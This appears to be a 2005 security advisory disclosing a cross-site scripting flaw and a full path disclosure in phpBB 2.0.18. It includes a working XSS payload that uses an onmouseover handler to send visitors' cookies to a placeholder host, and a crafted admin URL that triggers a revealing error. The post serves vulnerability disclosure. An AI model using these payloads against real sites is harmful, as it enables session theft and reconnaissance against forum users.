phpBB 2.0.18 XSS and Full Path Disclosure

[Maksymilian Arciemowicz <max () jestsuper pl>]

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[phpBB 2.0.18 XSS and Full Path Disclosure cXIb8O3.22]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 16.12.2005
from securityreason.com TEAM

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source 
bulletin board package. phpBB has a user-friendly interface, simple and 
straightforward administration panel, and helpful FAQ. Based on the powerful 
PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or 
Access/ODBC database servers, phpBB is the ideal free community solution for 
all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile 
"Always allow HTML: YES" or are you Guest

that you can use this tags:

<B C=">" onmouseover="alert('SecurityReason.Com')" X="<B "> H E L O </B>

Exploit:

<B C=">" 
onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" 
X="<B "> H A L O </B>

and have you cookies.

- --- 2. Full Path Disclosure ---
In file admin/admin_disallow.php is

- -25-31---
if( !empty($setmodules) )
{
        $filename = basename(__FILE__);
        $module['Users']['Disallow'] = append_sid($filename);

        return;
}
- -25-31---

function append_sid() dosen't exists. And if you have:

register_globals = On
display_errors = On

Try to go:
http://[HOST]/[DIR]/admin/admin_disallow.php?setmodules=1

- -RESULT ERROR---
Fatal error: Call to undefined function: append_sid() 
in /www/2018/phpBB2/admin/admin_disallow.php on line 28
- -RESULT ERROR---

- --- 3. Greets ---
sp3x

- --- 4.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
securityreason.com TEAM
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